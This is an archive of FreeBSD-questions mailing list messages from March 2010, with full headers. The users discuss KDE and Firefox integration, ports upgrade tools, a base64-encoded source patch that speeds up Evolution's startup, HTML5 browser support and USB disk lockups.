KxCMtddBbxfes2gYnde8jeHs9KAoK2eKERQ1o= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=from:to:subject:date:user-agent:mime-version:content-type :content-transfer-encoding:message-id; b=fxgNFW3vhBRJwN6U3WKmeyQW3SaIzLL7l2y3zrSxBcl1XHq/m/k7w2O0+WfTRIm1UH Yaip6ytOH9FqlEPvhAWnVcYQ/jsv9QgP+8BFieXsOgQNnky8cc0cfEFdM+hIjkuXAHP6 OkYBWptF6kbgInTc17N8Jd1/3upbT3JIs0LxI= Received: by 10.87.45.33 with SMTP id x33mr452028fgj.68.1267970195894; Sun, 07 Mar 2010 05:56:35 -0800 (PST) Received: from hulk.l.ttyv0.net (80-219-19-168.dclient.hispeed.ch [80.219.19.168]) by mx.google.com with ESMTPS id 3sm3480029fge.20.2010.03.07.05.56.35 (version=TLSv1/SSLv3 cipher=RC4-MD5); Sun, 07 Mar 2010 05:56:35 -0800 (PST) From: Anselm Strauss To: freebsd-questions@freebsd.org Date: Sun, 7 Mar 2010 14:56:15 +0100 User-Agent: KMail/1.12.4 (FreeBSD/8.0-RELEASE-p2; KDE/4.3.5; amd64; ; ) MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <201003071456.15638.amsibamsi@gmail.com> Subject: KDE firefox integration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 13:56:37 -0000 Hi, I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybody knows how to achieve this on FreeBSD 8? Anselm From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 14:31:13 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 44A65106566C for ; Sun, 7 Mar 2010 14:31:13 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from smtp02.lnh.mail.rcn.net (smtp02.lnh.mail.rcn.net [207.172.157.102]) by mx1.freebsd.org (Postfix) with ESMTP id E51DD8FC0C for ; Sun, 7 Mar 2010 14:31:12 +0000 (UTC) Received: from mr08.lnh.mail.rcn.net ([207.172.157.28]) by smtp02.lnh.mail.rcn.net with ESMTP; 07 Mar 2010 09:31:11 -0500 Received: from smtp01.lnh.mail.rcn.net (smtp01.lnh.mail.rcn.net [207.172.4.11]) by mr08.lnh.mail.rcn.net (MOS 3.10.8-GA) with ESMTP id LLR83922; Sun, 7 Mar 2010 09:31:11 -0500 (EST) Received: from 209-6-91-204.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com (HELO jerusalem.litteratus.org.litteratus.org) ([209.6.91.204]) by smtp01.lnh.mail.rcn.net with ESMTP; 07 Mar 2010 09:31:12 -0500 From: Robert Huff MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <19347.47279.133670.627433@jerusalem.litteratus.org> Date: Sun, 7 Mar 2010 09:31:11 -0500 To: Polytropon In-Reply-To: <20100307084611.75b68f9e.freebsd@edvax.de> References: <20100305065837.660d3ebd.freebsd@edvax.de> <20100305110049.GA10715@gmail.com> <20100305161210.GA46349@gmail.com> <20100306043513.GA1612@gmail.com> <03A86093-6B0C-429C-86CE-F73C0DEEC347@mac.com> <19346.24635.655335.807552@jerusalem.litteratus.org> <20100307043004.GA3528@gmail.com> <20100307061025.a6d1c0de.freebsd@edvax.de> <20100307072957.GA8366@gmail.com> <20100307084611.75b68f9e.freebsd@edvax.de> X-Mailer: VM 7.17 under 21.5 (beta28) "fuki" XEmacs Lucid X-Junkmail-Whitelist: YES (by domain whitelist at mr08.lnh.mail.rcn.net) Cc: Pongthep Kulkrisada , freebsd Mailing Subject: Re: Updating ports was Flash viewer for FBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 14:31:13 -0000 Polytropon writes: > > I am now thinking which one is better. > > I have used portupgrade / portinstall in the past, but I think > portmaster really is the way to go, at least for me, As far as I can tell, for 90-95% of tasks they're indistinguishable. If (generic) you have special needs - ugdating a large user base, extensive local patches, or a non-standard set of dependencies - then you're going to have to do the research and test them for yourself. And instructions for using portmaster are increasingly common in /usr/ports/UPDATING. Robert Huff From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 14:33:10 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B40E1106564A for ; Sun, 7 Mar 2010 14:33:10 +0000 (UTC) (envelope-from eliaschr@ath.forthnet.gr) Received: from mx-out.forthnet.gr (mx-out.forthnet.gr [193.92.150.104]) by mx1.freebsd.org (Postfix) with ESMTP id 058988FC1A for ; Sun, 7 Mar 2010 14:33:09 +0000 (UTC) Received: from mx-av-03.forthnet.gr (mx-av.forthnet.gr [193.92.150.27]) by mx-out-05.forthnet.gr (8.14.3/8.14.3) with ESMTP id o27EDt69020491 for ; Sun, 7 Mar 2010 16:13:55 +0200 Received: from MX-IN-05.forthnet.gr (mx-in-05.forthnet.gr [193.92.150.30]) by mx-av-03.forthnet.gr (8.14.3/8.14.3) with ESMTP id o27EDtOd026445 for ; Sun, 7 Mar 2010 16:13:55 +0200 Received: from pluto.universe (194.219.186.51.dsl.dyn.forthnet.gr [194.219.186.51]) by MX-IN-05.forthnet.gr (8.14.3/8.14.3) with ESMTP id o27EDsDn014513 for ; Sun, 7 Mar 2010 16:13:55 +0200 Authentication-Results: MX-IN-05.forthnet.gr smtp.mail=eliaschr@ath.forthnet.gr; spf=neutral Authentication-Results: MX-IN-05.forthnet.gr header.from=eliaschr@ath.forthnet.gr; sender-id=neutral From: Elias Chrysoheris To: freebsd-questions@freebsd.org Date: Sun, 7 Mar 2010 16:13:53 +0200 User-Agent: KMail/1.12.4 (FreeBSD/8.0-RELEASE-p2; KDE/4.3.5; amd64; ; ) References: <201003071456.15638.amsibamsi@gmail.com> In-Reply-To: <201003071456.15638.amsibamsi@gmail.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201003071613.53869.eliaschr@ath.forthnet.gr> Subject: Re: KDE firefox integration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 14:33:10 -0000 On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote: > Hi, > > I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybody > knows how to achieve this on FreeBSD 8? > > Anselm > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > I believe you mean that you need KDE to open Firefox whenever you click on a link. That's easy. From your KDE menu, open "System Settings" (in the first tab, "favorites") Then select "Default Applications". Then, in the left list of the applications, choose "Web browser", and at the right part of the screen choose the radio button "in the following browser" and in the edit box enter the "/usr/local/bin/firefox3". Then apply the new settings. Elias From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 14:55:54 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E226C10657A8 for ; Sun, 7 Mar 2010 14:55:53 +0000 (UTC) (envelope-from lenzi.sergio@gmail.com) Received: from mail-gw0-f54.google.com (mail-gw0-f54.google.com [74.125.83.54]) by mx1.freebsd.org (Postfix) with ESMTP id 6C7448FC25 for ; Sun, 7 Mar 2010 14:55:51 +0000 (UTC) Received: by gwaa20 with SMTP id a20so2883543gwa.13 for ; Sun, 07 Mar 2010 06:55:50 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:subject:from:to:in-reply-to :references:content-type:date:message-id:mime-version:x-mailer; bh=i/2TzVpQ0ADD7oqBg+qRIRIa6lWIvHeJhP0nMY8hjds=; b=UzVrJvbGWRqVBFWxuAmv4/K+ApvTz7OjWYG4j08nefLuWpMqYAgs12PuM7UE9psJ3Q SAMSEEmhBrT17SV+ZAxviuG42HhE9EhRvu5CpmY4kl7EfFIw+t/7zauIxatQszXZBHPH oxI3szZ1kyn5zG+3gNKD8z0/xc1JXN2QEof3Y= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=subject:from:to:in-reply-to:references:content-type:date:message-id :mime-version:x-mailer; b=o/0WMsP6IMELKzNO/N8a4YCNfikNzmm2RK0ELS6m4sd0roT8tcXyYhou/2j5du1snu CjJqgwOipuDHRQBo1/83FliBFbjPmJIpgputb4P5F0l2XIcJCGCe+1LL8BuGNFtHZnQc nNXD9LsbwL5YsjiXW+a2P/Q2foOZZm0WZsLEw= Received: by 10.100.30.29 with SMTP id d29mr6488671and.247.1267973750597; Sun, 07 Mar 2010 06:55:50 -0800 (PST) Received: from [192.168.6.250] ([201.21.146.140]) by mx.google.com with ESMTPS id 23sm101790yxe.56.2010.03.07.06.55.45 (version=SSLv3 cipher=RC4-MD5); Sun, 07 Mar 2010 06:55:49 -0800 (PST) From: Sergio de Almeida Lenzi To: freebsd-questions In-Reply-To: <201003071456.15638.amsibamsi@gmail.com> References: <201003071456.15638.amsibamsi@gmail.com> Date: Sun, 07 Mar 2010 11:55:42 -0300 Message-ID: <1267973742.25666.34.camel@localhost> Mime-Version: 1.0 X-Mailer: Evolution 2.28.2 FreeBSD GNOME Team Port Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: EVOLUTION a, slow start, SOLVED X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 14:55:54 -0000 Hello all.. Finallly I got the problem with evolution on FreeBSD solved. Happens that evolution is very slow, on startup, and consumes an HUGE amount of CPU (system), on startup, making it almost unuseable for multi user systems... The problem is that some plugins did not offer the startup entries that gnome (glib) wants. so FreeBSD tries to resolv the entry using dlsym(...) and search the entire user address space for that... a simple "patch" for the plugins and e-util/e-plugin.c module solved the problem and now evolution starts in 3 seconds... follow is the base64 encode of the patch to use, save the patch, say: evolution.fix extract with b64decode evolution.fix, move the file to: /usr/ports/mail/evolution/files, build evolution with: cd /usr/ports/mail/evolution;make reinstall *****************************************cut************************************************* begin-base64 644 patch-plugins LS0tIHBsdWdpbnMvZ3JvdXB3aXNlLWFjY291bnQtc2V0dXAvZ3JvdXB3aXNlLWFjY291bnQtc2V0 dXAuYy5vcmlnCTIwMDktMTItMTQgMDM6NTY6MDEuMDAwMDAwMDAwIC0wMjAwCisrKyBwbHVnaW5z L2dyb3Vwd2lzZS1hY2NvdW50LXNldHVwL2dyb3Vwd2lzZS1hY2NvdW50LXNldHVwLmMJMjAxMC0w My0wNyAwMTozOTo1MC42OTEwNDk2MDAgLTAzMDAKQEAgLTEzNiwzICsxMzYsMTEgQEAKIAogCXJl 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******************************************cut***************************************** From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 15:10:58 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B0962106566B for ; Sun, 7 Mar 2010 15:10:58 +0000 (UTC) (envelope-from jpaetzel@freebsd.org) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.freebsd.org (Postfix) with ESMTP id 780B58FC0A for ; Sun, 7 Mar 2010 15:10:58 +0000 (UTC) Received: from compute2.internal (compute2 [10.202.2.42]) by gateway1.messagingengine.com (Postfix) with ESMTP id 97339E26A2; Sun, 7 Mar 2010 09:54:26 -0500 (EST) Received: from heartbeat2.messagingengine.com ([10.202.2.161]) by compute2.internal (MEProxy); Sun, 07 Mar 2010 09:54:26 -0500 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=messagingengine.com; h=from:to:subject:date:cc:references:in-reply-to:mime-version:content-type:content-transfer-encoding:message-id; s=smtpout; bh=GYPoe5jVzhlfRBC3UvT/96JM+WU=; b=dezHhChDbv6xwTlxoFErydMAJrgDKdsSdSAYPpU/VijTbQhnir8DWwfcOk9ZFPyYZlfoK4YYuCZ6AvT/TrTgDJxlEJXHEP0ypUtanCZL3Aturc1UWXzjVOpbB1LXXxKzucTBEtTiiRxVAxSO7C2pR8rR7LVxw5POeHtfsoaLPqk= X-Sasl-enc: Zr4HbuUVYQAi6dzKtV1VpcEx8ZEj5oC5ZU6xlP/tjJ1R 1267973666 Received: from ix.tcbug.org (71-82-134-106.dhcp.roch.mn.charter.com [71.82.134.106]) by mail.messagingengine.com (Postfix) with ESMTPSA id 4B7D04EB6; Sun, 7 Mar 2010 09:54:26 -0500 (EST) From: Josh Paetzel Organization: FreeBSD To: freebsd-questions@freebsd.org Date: Sun, 7 Mar 2010 08:52:30 -0600 User-Agent: KMail/1.13.1 (FreeBSD/9.0-CURRENT; KDE/4.4.1; amd64; ; ) References: <201003071456.15638.amsibamsi@gmail.com> <201003071613.53869.eliaschr@ath.forthnet.gr> In-Reply-To: <201003071613.53869.eliaschr@ath.forthnet.gr> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart4806152.0JqfVxmRFZ"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <201003070852.35803.jpaetzel@freebsd.org> Cc: Elias Chrysoheris , Anselm Strauss Subject: Re: KDE firefox integration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 15:10:58 -0000 --nextPart4806152.0JqfVxmRFZ Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote: > On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote: > > Hi, > >=20 > > I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybo= dy > > knows how to achieve this on FreeBSD 8? > >=20 > > Anselm > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to > >=20 > > "freebsd-questions-unsubscribe@freebsd.org" >=20 > I believe you mean that you need KDE to open Firefox whenever you click on > a link. That's easy. From your KDE menu, open "System Settings" (in the > first tab, "favorites") > Then select "Default Applications". Then, in the left list of the > applications, choose "Web browser", and at the right part of the screen > choose the radio button "in the following browser" and in the edit box > enter the "/usr/local/bin/firefox3". Then apply the new settings. >=20 > Elias Another trick that PC-BSD uses....which might be more of what you are askin= g=20 about is the installation of a port called x11-themes/gtk-qt4-engine This= =20 port allows gtk applications to be displayed using qt, which helps integrat= e=20 the look of things like FF, Thunderbird, OOo with KDE. =2D-=20 Thanks, Josh Paetzel =46reeBSD -- The power to serve --nextPart4806152.0JqfVxmRFZ Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (FreeBSD) iQEcBAABAgAGBQJLk72zAAoJEKFq1/n1feG2ahYIAJ2ORrhDoAHBPF2PEzcM4cey L2unUOCynUDqJYiLRWh4B2d5r2i0INUcGeiKfrBvFxSJgouDEkcIb3i+yCqfrFZ7 F4BsA/GH99IhRibLiEbMRL85rECMML78WSWjCun0Lsw+0NKhjN85QoVgyKPYLAvw dV8zYBrXO3DsHLyN0EGT5dDl8b3bH4c3CqZN5XPiTUi2WiV8brQqJ02dCy+Ukcz/ eIvMXEmKPaoVobRhtTEP5iPy5th11mGgV14uhYZJz4N16+bhp1IeNjzUnvpY5hDp OluB5OXQACR7KhK3KBPnSVCbLEoAqWO6PhJOb0nlpOAn49p70QfxA/s3FV0wyQ0= =1UW0 -----END PGP SIGNATURE----- --nextPart4806152.0JqfVxmRFZ-- From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 15:19:55 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3A5EB106566C for ; Sun, 7 Mar 2010 15:19:55 +0000 (UTC) (envelope-from rfarmer@predatorlabs.net) Received: from mail-qy0-f194.google.com (mail-qy0-f194.google.com [209.85.221.194]) by mx1.freebsd.org (Postfix) with ESMTP id 01C278FC0C for ; Sun, 7 Mar 2010 15:19:54 +0000 (UTC) Received: by qyk32 with SMTP id 32so3655699qyk.28 for ; Sun, 07 Mar 2010 07:19:54 -0800 (PST) MIME-Version: 1.0 Received: by 10.224.13.145 with SMTP id c17mr1659167qaa.244.1267975194110; Sun, 07 Mar 2010 07:19:54 -0800 (PST) X-Originating-IP: [128.95.133.64] In-Reply-To: <1267973742.25666.34.camel@localhost> References: <201003071456.15638.amsibamsi@gmail.com> <1267973742.25666.34.camel@localhost> Date: Sun, 7 Mar 2010 07:19:54 -0800 Message-ID: From: Rob Farmer To: Sergio de Almeida Lenzi Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: freebsd-questions Subject: Re: EVOLUTION a, slow start, SOLVED X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 15:19:55 -0000 On Sun, Mar 7, 2010 at 6:55 AM, Sergio de Almeida Lenzi wrote: > Hello all.. > > Finallly I got the problem with evolution =A0on FreeBSD solved. > > Happens that evolution is very slow, on startup, and consumes an HUGE > amount > of CPU (system), on startup, making it almost unuseable for multi user > systems... > Thanks for looking into this - I've observed the slow startup with Evolution too. Have you submitted a PR with the patch? That's the best way to get it reviewed and included in the tree. --=20 Rob Farmer From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 15:35:59 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 339471065672 for ; Sun, 7 Mar 2010 15:35:59 +0000 (UTC) (envelope-from a_best01@uni-muenster.de) Received: from zivm-exrelay1.uni-muenster.de (ZIVM-EXRELAY1.UNI-MUENSTER.DE [128.176.192.14]) by mx1.freebsd.org (Postfix) with ESMTP id BD08A8FC18 for ; Sun, 7 Mar 2010 15:35:58 +0000 (UTC) X-IronPort-AV: E=Sophos;i="4.49,598,1262559600"; d="scan'208";a="298485287" Received: from zivmaildisp1.uni-muenster.de (HELO ZIVMAILUSER01.UNI-MUENSTER.DE) ([128.176.188.85]) by zivm-relay1.uni-muenster.de with ESMTP; 07 Mar 2010 16:35:57 +0100 Received: by ZIVMAILUSER01.UNI-MUENSTER.DE (Postfix, from userid 149459) id DAAF11B0768; Sun, 7 Mar 2010 16:35:56 +0100 (CET) Date: Sun, 07 Mar 2010 16:35:56 +0100 (CET) From: Alexander Best Sender: Organization: Westfaelische Wilhelms-Universitaet Muenster To: Byung-Hee HWANG Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@FreeBSD.org Subject: Re: HTML5 under FreeBSD Desktop X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 15:35:59 -0000 recent chromium builds on http://chromium.jaggeri.com/ and http://code.google.com/p/chromium-freebsd8/ support html5. don't know if the firefox and opera ports support html5 yet. alex From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 16:53:50 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3A8C1106564A for ; Sun, 7 Mar 2010 16:53:50 +0000 (UTC) (envelope-from amsibamsi@gmail.com) Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223]) by mx1.freebsd.org (Postfix) with ESMTP id BB8048FC15 for ; Sun, 7 Mar 2010 16:53:49 +0000 (UTC) Received: by fxm23 with SMTP id 23so4107551fxm.3 for ; Sun, 07 Mar 2010 08:53:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:from:to:subject:date :user-agent:cc:references:in-reply-to:mime-version:content-type :content-transfer-encoding:message-id; bh=ra6dF+A/S9oQgyzUbkoWWUPDgUlKKk6FfTe4AkpIbro=; b=OsdflaEQL4v94Kqv4XzTVmAyUYHHSN0pkq1eXGbxhBfiIJIDsvcEutt6DCdYqmFBp4 mCMuXUdO7lOvZaBBXONRFNCsoDX4rlwQDkvFTke1DZzHO29ypr8GzuUyN1Oz7vVvTmrj wC4jn19AbBX6SuF/fzdxFRoCXxQJ023JNSof8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; b=tYLjqUFg8hLMdnG18/Fv6fxiGi7f6CCfW5zj82C46ZbIvPg9zBUsbnQR6ZkQo6IRrk CYr+KCstVwJtzLEo0FGzrfKljcOOIcNF2EwCYiESTSxhoVNdWAp6RpdRhx3HRzZ6lMF9 KGNaOqX5FQAOZy3BkGzOIUudAi6NG7TDgPOqY= Received: by 10.87.62.31 with SMTP id p31mr709810fgk.21.1267980828586; Sun, 07 Mar 2010 08:53:48 -0800 (PST) Received: from hulk.l.ttyv0.net (80-219-19-168.dclient.hispeed.ch [80.219.19.168]) by mx.google.com with ESMTPS id d8sm5600324fga.4.2010.03.07.08.53.47 (version=TLSv1/SSLv3 cipher=RC4-MD5); Sun, 07 Mar 2010 08:53:47 -0800 (PST) From: Anselm Strauss To: Josh Paetzel Date: Sun, 7 Mar 2010 17:53:29 +0100 User-Agent: KMail/1.12.4 (FreeBSD/8.0-RELEASE-p2; KDE/4.3.5; amd64; ; ) References: <201003071456.15638.amsibamsi@gmail.com> <201003071613.53869.eliaschr@ath.forthnet.gr> <201003070852.35803.jpaetzel@freebsd.org> In-Reply-To: <201003070852.35803.jpaetzel@freebsd.org> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201003071753.29305.amsibamsi@gmail.com> Cc: Elias Chrysoheris , freebsd-questions@freebsd.org Subject: Re: KDE firefox integration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 16:53:50 -0000 On Sunday 07 March 2010 15:52:30 Josh Paetzel wrote: > On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote: > > On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote: > > > Hi, > > > > > > I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. > > > Anybody knows how to achieve this on FreeBSD 8? > > > > > > Anselm > > > _______________________________________________ > > > freebsd-questions@freebsd.org mailing list > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > > To unsubscribe, send any mail to > > > > > > "freebsd-questions-unsubscribe@freebsd.org" > > > > I believe you mean that you need KDE to open Firefox whenever you click > > on a link. That's easy. From your KDE menu, open "System Settings" (in > > the first tab, "favorites") > > Then select "Default Applications". Then, in the left list of the > > applications, choose "Web browser", and at the right part of the screen > > choose the radio button "in the following browser" and in the edit box > > enter the "/usr/local/bin/firefox3". Then apply the new settings. > > > > Elias > > Another trick that PC-BSD uses....which might be more of what you are > asking about is the installation of a port called > x11-themes/gtk-qt4-engine This port allows gtk applications to be > displayed using qt, which helps integrate the look of things like FF, > Thunderbird, OOo with KDE. I already installed the gtk-qt4-engine, but it has some serious bugs. Scroll bars are not painted, tab borders are painted at the wrong position, etc. Could this be because I modified some of KDEs appearance options? Are there any other integration tweaks, like icons, keyboard shortcuts, file chooser dialog, ... ? Thanks, Anselm From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 17:12:32 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ACADF1065670 for ; Sun, 7 Mar 2010 17:12:32 +0000 (UTC) (envelope-from djackson452@gmail.com) Received: from mail-yx0-f201.google.com (mail-yx0-f201.google.com [209.85.210.201]) by mx1.freebsd.org (Postfix) with ESMTP id 629C98FC15 for ; Sun, 7 Mar 2010 17:12:32 +0000 (UTC) Received: by yxe39 with SMTP id 39so51502yxe.3 for ; Sun, 07 Mar 2010 09:12:31 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:subject:references:in-reply-to :content-type:content-transfer-encoding; bh=1e4TLDzvtW3+/a/qEkb4ZqqWLhjMIbOsrHVY9OTDtTY=; b=VVzMdUsgRzk+ejOT8Khbccie+XkpXmVLIZAIbwek7pjzDwr+sxggaAFY69ZVr28zxz nJCJSdTAx2Om8xgeupK4BB5lbRd5/3eFFsdvhqjvtJx39CW+4bP4oc2Lw0JzaE+0DD5B Lx+MCMrV0nk2JXztSn6/OgEUUqVofLFiYlwU0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; b=tFwsc0x2Yx7fi4JU2tSgz24/c8lYxV6MniXxwLayx2Fa3eBvnUUGdom4bLDue+UMhc xLz3dcqNhsg4LhvDGms6a/BsU5Iky5Qls6DedcdZN6ru/+G6TMOPPm48i3uK5dZZS19D /mMivXu+HySk6MBgfi6d9OMQj7HGWhPugY2q8= Received: by 10.101.51.7 with SMTP id d7mr1011419ank.201.1267981951534; Sun, 07 Mar 2010 09:12:31 -0800 (PST) Received: from [0.0.0.0] (gpftor2.privacyfoundation.de [87.118.101.175]) by mx.google.com with ESMTPS id 8sm1093856yxg.24.2010.03.07.09.12.15 (version=TLSv1/SSLv3 cipher=RC4-MD5); Sun, 07 Mar 2010 09:12:30 -0800 (PST) Message-ID: <4B93DAF3.4030104@gmail.com> Date: Sun, 07 Mar 2010 11:57:23 -0500 From: David Jackson User-Agent: Thunderbird 2.0.0.22 (Windows/20090605) MIME-Version: 1.0 To: Aiza , freebsd-questions@freebsd.org References: <4B8ACB0F.6020300@gmail.com> <4B8BFED4.2000204@gmail.com> <4B8C501C.4050606@gmail.com> <4B8C76CE.6070002@comclark.com> In-Reply-To: <4B8C76CE.6070002@comclark.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Subject: Re: Lockups with USB disks on FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 17:12:32 -0000 Aiza wrote: > David Jackson wrote: >> David Jackson wrote: >>> David Jackson wrote: >>>> I am currently using FreeBSD 8.0. I have been, for a long time, >>>> been having problems with lockups of FreeBSD 8.0 when using USB >>>> hard disks. Sometimes certain applications lock up for several >>>> minutes, when they use the disk, file operations are very slow, and >>>> sometimes the entire operating system can lock up for several >>>> minutes. This can be a pretty painful thing and makes the system >>>> seem very unstable. I am using UFS filesystems on the disks. It >>>> seems to happen on multiple disks that i use. >>>> >>>> I was hopeful changes to the FreeBSD USB drivers might have >>>> improved things but they are as bad as ever. >>>> >>>> Help is appreciated. >>>> >>> Are there perhaps diagnostic tools or an error log that can be >>> enabled so I can see if maybe there is some sort of error occuring >>> with the USB transmissions that might be causing this problem, or >>> perhaps what part of the driver code it is getting locked up on?. >>> >>> Has anyone else experienced problems such as this with USB disks? If >>> more information on my hardware is needed i will post dmesg output. >>> >>> Any help is appreciated. >> I have done some more thinking about this issue. Just an app freeze >> on USB access is one thing, however, the fact that the entire OS >> freezes up on access to the USB disk shows there are much more >> serious problems in the FreeBSD kernel. A USB access should not cause >> the kernel to lock up for minutes. these are very serious flaws in >> the FreeBSD kernel and lead to an instable and unuseable system. .... >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to >> "freebsd-questions-unsubscribe@freebsd.org" >> >> > Your description about what is happening is lacking any detail. > Tell us what is on the USB disk, How you are using it, How you created > it ECT ECT ECT Booting your system from it is way different than > writing small data files to it or containing a raid file system or > some database. You have to help us help you. The USB disk is being used with 2 UFS filesystems on it. Due to the bad performance, it takes a long time 